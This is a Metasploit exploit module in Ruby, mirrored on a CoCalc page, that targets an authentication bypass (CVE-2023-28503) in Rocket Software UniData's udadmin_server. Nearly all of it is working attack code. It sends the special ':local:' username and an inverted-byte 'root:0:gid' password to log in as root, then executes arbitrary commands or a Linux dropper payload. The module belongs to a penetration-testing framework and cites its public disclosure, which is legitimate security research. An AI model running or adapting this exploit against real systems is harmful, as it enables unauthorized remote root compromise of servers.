CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/unidata_udadmin_auth_bypass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Remote::Unirpc
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',
19
'Description' => %q{
20
This module exploits an authentication bypass vulnerability in the
21
Linux version of udadmin_server, which is an RPC service that comes
22
with the Rocket Software UniData server. This affects versions of
23
UniData prior to 8.2.4 build 3003.
24
25
This service typically runs as root. It accepts a username of
26
":local:" and a password in the form of "<username>:<uid>:<gid>",
27
where username and uid must be a valid account, but gid can be
28
anything except 0.
29
30
This exploit takes advantage of this login account to authenticate
31
as a chosen user and run an arbitrary command (using the built-in
32
OsCommand message).
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'Ron Bowes', # Discovery, PoC, module
37
],
38
'References' => [
39
[ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],
40
[ 'CVE', '2023-28503' ],
41
],
42
'Platform' => ['linux', 'unix'],
43
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
44
'Targets' => [
45
[
46
'Unix Command',
47
{
48
'Platform' => 'unix',
49
'Arch' => ARCH_CMD,
50
'Type' => :unix_cmd
51
}
52
],
53
[
54
'Linux Dropper',
55
{
56
'Platform' => 'linux',
57
'Arch' => [ARCH_X86, ARCH_X64],
58
'Type' => :linux_dropper
59
}
60
]
61
],
62
'DefaultTarget' => 0,
63
'DefaultOptions' => {
64
'RPORT' => 31438,
65
'PrependFork' => true
66
},
67
'Privileged' => true,
68
'DisclosureDate' => '2023-03-30',
69
'Notes' => {
70
'SideEffects' => [],
71
'Reliability' => [REPEATABLE_SESSION],
72
'Stability' => [CRASH_SAFE]
73
}
74
)
75
)
76
77
register_options(
78
[
79
OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),
80
OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),
81
OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),
82
]
83
)
84
85
register_advanced_options(
86
[
87
OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),
88
]
89
)
90
end
91
92
# We can detect UniRPC by performing a version check, but the version number
93
# didn't increment in the patch (only the build number did, which AFAICT we
94
# can't access), so just do a sanity check
95
def check
96
version = unirpc_get_version
97
vprint_status("Detected UniRPC version #{version} is running")
98
99
Exploit::CheckCode::Detected
100
rescue UniRPCCommunicationError => e
101
return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")
102
rescue UniRPCUnexpectedResponseError => e
103
return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")
104
end
105
106
def execute_command(cmd, _opts = {})
107
vprint_status('Sending OsCommand request')
108
sock.put(build_unirpc_message(args: [
109
# Message type
110
{ type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },
111
{ type: :string, value: cmd },
112
]))
113
end
114
115
def exploit
116
# Sanity check
117
if datastore['UNIRPC_GID'] == 0
118
fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')
119
end
120
121
# Connect to the service
122
connect
123
124
# Connect to the RPC service (probably "udadmin")
125
vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")
126
sock.put(build_unirpc_message(args: [
127
# Service name
128
{ type: :string, value: datastore['UNIRPC_ENDPOINT'] },
129
130
# "Secure" flag - this must be non-zero if the server is started in
131
# "secure" mode (-s)
132
{ type: :integer, value: 1 },
133
]))
134
135
# This will throw an error if the login fails, otherwise we can discard the
136
# result
137
recv_unirpc_message(sock, first_result_is_status: true)
138
139
# Prepare the authentication bypass
140
username = ':local:'
141
password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}"
142
vprint_status("Authenticating to RPC service as #{username} / #{password}")
143
144
# Send the authentication message
145
sock.put(build_unirpc_message(args: [
146
# Message type
147
{ type: :integer, value: UNIRPC_MESSAGE_LOGIN },
148
149
# Username
150
# ":local:" is a special value that skips login
151
{ type: :string, value: username },
152
153
# Password (encoded by making each byte negative)
154
# I think if username is :local:, this is username:uid:gid (gid can't be 0)
155
{ type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },
156
]))
157
158
# Once again, we only care if this fails - if the status is an error
159
recv_unirpc_message(sock, first_result_is_status: true)
160
161
# Run the command(s)
162
case target['Type']
163
when :unix_cmd
164
execute_command(payload.encoded)
165
when :linux_dropper
166
execute_cmdstager
167
end
168
rescue UniRPCCommunicationError => e
169
fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")
170
rescue UniRPCUnexpectedResponseError => e
171
fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")
172
end
173
end
174
175